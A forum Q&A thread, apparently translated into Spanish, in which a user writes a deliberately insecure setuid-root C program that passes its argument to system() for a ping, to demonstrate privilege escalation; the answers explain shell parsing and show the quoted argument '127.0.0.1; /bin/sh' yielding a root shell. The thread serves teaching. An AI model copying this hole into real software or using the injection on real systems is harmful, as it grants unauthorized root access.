Escalamiento de privilegios: funciones C setuid (0) con sistema () que no funciona en Linux

0

Exención de responsabilidad rápida: entiendo completamente que el código que estoy intentando escribir es inseguro, y permite que usuarios arbitrarios puedan acceder a la raíz. Estoy escribiendo un programa de C simple como este para demostrar cómo funciona la escalada privilegiada para aquellos que no están familiarizados.

Lo que tengo ahora es un simple programa en C:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int BUFFERSIZE = 512;

void main(int argc, char** argv) {
  char ipaddr[BUFFERSIZE];
  snprintf(ipaddr, BUFFERSIZE, "ping -c 4 %s", argv[1]);
  if(setuid(0) == -1) printf("setUID ERROR");
  system(ipaddr);
}

Compilo este código como root y configuro los permisos como tales:

-rwsr-xr-x 1 root root 16840 Oct 28 14:13 pingSys

Como puede ver, el bit setUID se invierte. Entonces, lo que debería suceder, es si ejecuto el programa así:

./pingSys 127.0.0.1; /bin/sh

Debería ejecutar ping -c 4 127.0.0.1; /bin/sh como usuario root y generar un shell. Pero en cambio, me sale esto:

user@localhost:~/privEsc$ ./pingSys 127.0.0.1; /bin/sh
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.034 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.089 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.118 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.089 ms

--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 59ms
rtt min/avg/max/mdev = 0.034/0.082/0.118/0.031 ms
$ whoami
user

¿Qué está mal aquí? Tengo el bit setUID invertido en el ejecutable, e incluso intenté ejecutar la función setuid(0) , que no produce un error. Estoy muy confundido en cuanto a por qué no puedo generar un shell como root porque en todas partes he visto que esto ha funcionado.

¿Alguna idea?

    
pregunta FRZ 28.10.2018 - 21:42
fuente

2 respuestas

4
./pingSys 127.0.0.1; /bin/sh

El shell actual interpretará el punto y coma como un delimitador de comando. Esto significa que primero ejecutará ./pingSys 127.0.0.1 en el shell actual y luego /bin/sh en el shell actual, es decir, generará un nuevo shell con los permisos actuales (no privilegiados).

En su lugar, lo que necesita hacer es poner comillas alrededor de su argumento para que se pase por completo a su programa pingSys en lugar de ser interpretado por el shell actual:

 $ ./pingSys '127.0.0.1; /bin/sh'
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.071 ms
...
# whoami
root
    
respondido por el Steffen Ullrich 28.10.2018 - 22:23
fuente
4

Entonces, como no ha citado el parámetro, está pasando dos comandos separados a su shell no elevado. Uno de ellos se ejecuta como root y llama a ping . El otro se ejecuta como usuario y genera un sub-shell. Su comando es equivalente a esto:

$ ./pingSys 127.0.0.1
$ /bin/sh

La primera línea se ejecuta como root, la segunda como el usuario actual. Citar el parámetro completo debería hacer que funcione como usted espera.

    
respondido por el CBHacking 28.10.2018 - 22:27
fuente

Lea otras preguntas en las etiquetas